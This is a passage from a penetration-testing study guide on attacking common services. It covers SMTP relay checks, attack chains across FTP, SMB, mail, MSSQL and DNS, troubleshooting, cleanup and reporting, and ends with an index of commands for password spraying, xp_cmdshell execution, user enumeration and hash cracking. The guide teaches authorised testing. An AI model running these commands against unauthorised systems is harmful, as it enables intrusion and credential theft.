Cloud spraying can trigger tenant alerts and account controls. The engagement must explicitly name the tenant, test accounts or user population, attempt count, delay, and stop conditions. MFA does not make password validation harmless; a correct first factor remains sensitive evidence.

Open relay validation

sudo nmap -Pn -n -p25 --script smtp-open-relay "$IP"

swaks --server "$IP" \
  --from probe@external.example \
  --to controlled-recipient@external.example \
  --header 'Subject: authorised relay proof' \
  --body 'Controlled relay validation. Do not forward.'

Use sender and recipient accounts controlled by the assessment team. A 250 response during the transaction does not prove final external delivery. Retain the received message headers as evidence and avoid testing impersonation of a real employee.

OpenSMTPD command injection, CVE-2020-7247

Affected OpenSMTPD versions mishandled shell metacharacters in an attacker-controlled sender field. The daemon’s local delivery path could execute a short command with elevated rights. Confirm the exact product and version before using a public proof of concept. The published technique is length constrained and is suitable only for a disposable lab or a separately approved exploit window.

12 · Combine services without losing state fas:Route

The fastest path through a multi-service host is a state machine. Each new identity or secret returns to the authentication stage for every compatible service.

Multi-service state machineTD
Full TCP plus targeted UDP scan Unauthenticated checksanonymous, null, records, capabilities Collect names and scoped files Update identity and credential matrix Validate against every compatible service Enumerate effective permissions New host, account, secret, or trust? Version-gated exploit review Minimal proof, cleanup, report yes no

Chain A: file service to mail to database

  1. FTP allows anonymous listing.
  2. A filename or document author supplies a candidate username.
  3. SMTP or POP3 responses confirm the account.
  4. A controlled spray confirms a reused password.
  5. A mailbox search returns a database connection string.
  6. MSSQL permissions reveal IMPERSONATE or direct sysadmin access.
  7. xp_cmdshell 'whoami' proves the OS security context.

Chain B: SMB to administrative execution

  1. SMB null access exposes a share and password-policy clues through RPC.
  2. Share content supplies a local administrator credential or NT hash.
  3. NetExec distinguishes local from domain authentication and confirms admin rights.
  4. An Impacket execution method runs a short identity command.
  5. A local SAM dump is performed only if credential compromise is in scope.
  6. Reuse testing is restricted to approved hosts and recorded per target.

Chain C: DNS to forgotten management hosts

  1. NS and AXFR checks expose internal or legacy hostnames.
  2. New names are resolved and scanned within scope.
  3. An old FTP, mail, or database instance exposes a weaker authentication path.
  4. The resulting account is tested on the primary services.

Three-tier practice plan

Scenario shapeFirst priorityExpected connection
Mail, customer data, and filesSMTP/POP3/IMAP plus FTP/SMB anonymous checksmailbox or file loot supplies the next credential
Rarely used backup/test hostfull -p- scan and default/test credentialsneglected configuration exposes data or a reused secret
File server plus unknown databaseshare inventory followed by SQL fingerprintingconfiguration or document content supplies database access

Do not import flags or dynamic lab credentials into the cheatsheet. The learning objective is the chain and its evidence, not a static answer from one spawned target.

13 · Failure analysis ris:BugLine

SymptomLikely causeCheck
SMB login works in one tool and fails in anotherrealm mismatch or guest fallbackspecify domain/local realm; inspect effective username
Pwn3d! absent after valid SMB authaccount is not admin on that hostenumerate share/RPC rights instead of forcing RCE
Relay listener receives auth but target action failssigning, EPA/channel binding, protocol mismatch, or weak target rightsinspect target prerequisites and ntlmrelayx logs
MSSQL login fails with a known domain credentialwrong auth mode, hostname, TLS, or SPNuse -windows-auth; resolve FQDN; test Kerberos separately
xp_cmdshell returns access deniedSQL service account lacks OS rights or proxy context differsquery service identity and use a harmless local command
MySQL LOAD_FILE() returns NULLmissing FILE, blocked path, unreadable file, or secure_file_privcheck grants, policy value, and filesystem assumptions
RDP spray tool reports all failuresNLA, throttling, TLS/client incompatibility, or lockouttest one manual connection and inspect NLA/encryption
SMTP gives the same reply for every useranti-enumeration policycompare valid and invalid controls; do not claim enumeration
AXFR fails against one servertransfer policy differs per NStest each authoritative nameserver
FTP transfer corrupts an archiveASCII transfer moderepeat in binary mode and compare hashes

14 · Proof, cleanup, and reporting ris:FileList

Minimal proof ladder

Move down this list only as far as the finding requires:

  1. Capture banner, protocol identity, and relevant configuration response.
  2. List an exposed object without downloading its content.
  3. Read a low-sensitivity test object or one narrowly selected file.
  4. Create and delete a harmless marker in an approved path.
  5. Execute whoami and hostname in an approved window.
  6. Extract credential material or open a user session only when the rules of engagement require that proof.

Change log

TimeHostServiceChangeOriginal stateCleanupEvidence
UTC timestamptargetMSSQLenabled xp_cmdshelldisabledrestored to disabledtranscript path

Track uploaded files, services, tasks, registry values, database settings, mapped drives, relay listeners, and cloud test messages. Cleanup should be testable. Confirm a marker is gone, a setting matches its original value, and a temporary service no longer exists.

Finding structure

Write each finding around the complete path:

  • Exposure: the reachable service, product/version, and unauthenticated information.
  • Prerequisites: network position, authentication state, role, signing, NLA, or provider condition.
  • Action: the exact safe test performed.
  • Result: data read, write permission, effective account, relayed action, or remote host reached.
  • Impact: the data, system, or trust boundary affected. Avoid inflating a local host result into domain compromise.
  • Remediation: disable unused protocols, remove anonymous access, enforce least privilege, patch the exact vulnerable product, require SMB signing where compatible, tighten relay protections, and monitor credential reuse.
  • Retest: repeat the original proof and confirm it now fails for the intended reason.

15 · Compact command index fas:ClipboardList

GoalCommand
Full TCP sweepsudo nmap -Pn -n -p- --open -sV -oA evidence/all $IP
Anonymous FTPftp $IP then anonymous
SMB shares, nullsmbclient -N -L //$IP
SMB permissionssmbmap -H $IP
SMB/RPC sweepenum4linux-ng -A -C $IP
SMB signingnmap -p445 --script smb2-security-mode $IP
Domain password spraynxc smb targets.txt -d $DOMAIN -u users.txt -p 'Candidate!'
MSSQL loginimpacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth
MySQL loginmysql -h $IP -u $U -p
MSSQL OS contextEXEC master..xp_cmdshell 'whoami';
MSSQL linksEXEC master.dbo.sp_linkedservers;
RDP identitynmap -p3389 --script rdp-ntlm-info $IP
RDP clientxfreerdp /v:$IP /u:$U /d:$DOMAIN /p:$P /cert:tofu
Zone transferdig AXFR $DOMAIN @$IP
Mail portsnmap -sV -sC -p25,110,143,465,587,993,995 $IP
SMTP userssmtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $IP
Open relaynmap -p25 --script smtp-open-relay $IP
NetNTLMv2 crackhashcat -m 5600 capture.txt wordlist.txt

16 · CVE and condition index ris:GlobalLine

IssueServiceRequired conditionSafe validation stance
CVE-2022-22836CoreFTP HTTP uploadaffected build plus authenticated PUT accessremovable text-file write
CVE-2020-0796, SMBGhostSMBv3.1.1affected Windows build and missing patchscanner and patch evidence first; crash risk
CVE-2012-2122old MySQL/MariaDB buildsaffected compiler/build and unpatched versionversion-gated lab testing
CVE-2019-0708, BlueKeepRDPvulnerable legacy Windows/RDS and missing patchnon-exploit check first; crash risk
CVE-2020-7247OpenSMTPDaffected version and delivery pathexact fingerprint; lab or approved exploit window
CVE-2021-44228, Log4ShellJava logging pathvulnerable Log4j reachable through attacker inputcontrolled callback and application-context evidence

17 · References fas:BookOpen

  1. HTB Academy, Attacking Common Services
  2. Microsoft Open Specifications, MS-SMB2
  3. Microsoft, xp_cmdshell
  4. Microsoft, linked servers
  5. Impacket
  6. NetExec
  7. enum4linux-ng
  8. Responder
  9. FreeRDP
  10. Nmap NSE documentation
  11. NVD, CVE-2022-22836
  12. NVD, CVE-2020-0796
  13. NVD, CVE-2012-2122
  14. NVD, CVE-2019-0708
  15. NVD, CVE-2020-7247
  16. NVD, CVE-2021-44228

Condensed service card · Workflow dashboard · Next long-form guide: common applications